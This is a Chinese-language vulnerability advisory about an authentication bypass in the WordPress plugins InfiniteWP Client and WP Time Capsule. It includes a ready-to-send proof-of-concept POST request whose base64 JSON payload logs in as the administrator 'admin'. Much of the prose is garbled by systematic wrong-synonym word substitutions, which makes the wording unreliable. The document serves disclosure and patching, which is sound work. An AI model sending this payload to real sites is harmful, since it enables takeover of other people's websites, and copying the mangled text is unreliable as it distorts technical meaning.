WordPress插件InfiniteWP Client和WP Time Capsule缝隙风险公告

颁布功夫 2020-01-16

缝隙编号和级别


CVE编号:暂无 ,危险级别:严沉 ,CVSS分值:厂商自评:9.8 ,官方未评定


影响版本


InfiniteWP Client < 1.9.4.5

WP Time Capsule < 1.21.16


缝隙概述


WordPress插件InfiniteWP Client和WP Time Capsule中的身份验证绕过缝隙使得32万个网站易受攻击。这两个插件用于援手用户治理一台服务器上的多个WordPress网站 ,并在颁布更新时为文件和数据库条款创建备份。


WebArx安全钻研人员发现它们的代码中存在逻辑谬误 ,使得攻击者能够绕过密码来登录治理怨厮户。凭据WordPress插件库 ,InfiniteWP Client被装置在30多万个网站上;而WP Time Capsule的装置量至少为2万。


钻研人员发此刻低于版本1.9.4.5的InfiniteWP Client中 ,攻击者能够使用带有JSON和Base64编码的payload的POST要求来绕过密码 ,通过仅知路治理员用户名来登录。而在低于1.21.16的WP Time Capsule版本中 ,攻击者可通过在原始POST要求中增长恶意字符串来挪用函数捕获可用的治理怨厮户列表并以第一个治理员身份登录。


缝隙验证


插件InfiniteWP Client的POC:https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/。


首先必要使用JSON编码的负载 ,而后是Base64。接下来 ,它将在POST要求中原始发送到指标站点。


POST / HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: text/plain

Content-Length: 93


_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==


建复建议


目前这两个插件都已颁布更新建复了该问题:


https://wordpress.org/plugins/iwp-client/

https://wordpress.org/plugins/wp-time-capsule/


参考链接


https://threatpost.com/wordpress-bug-leaves-sites-open-to-attack/151911/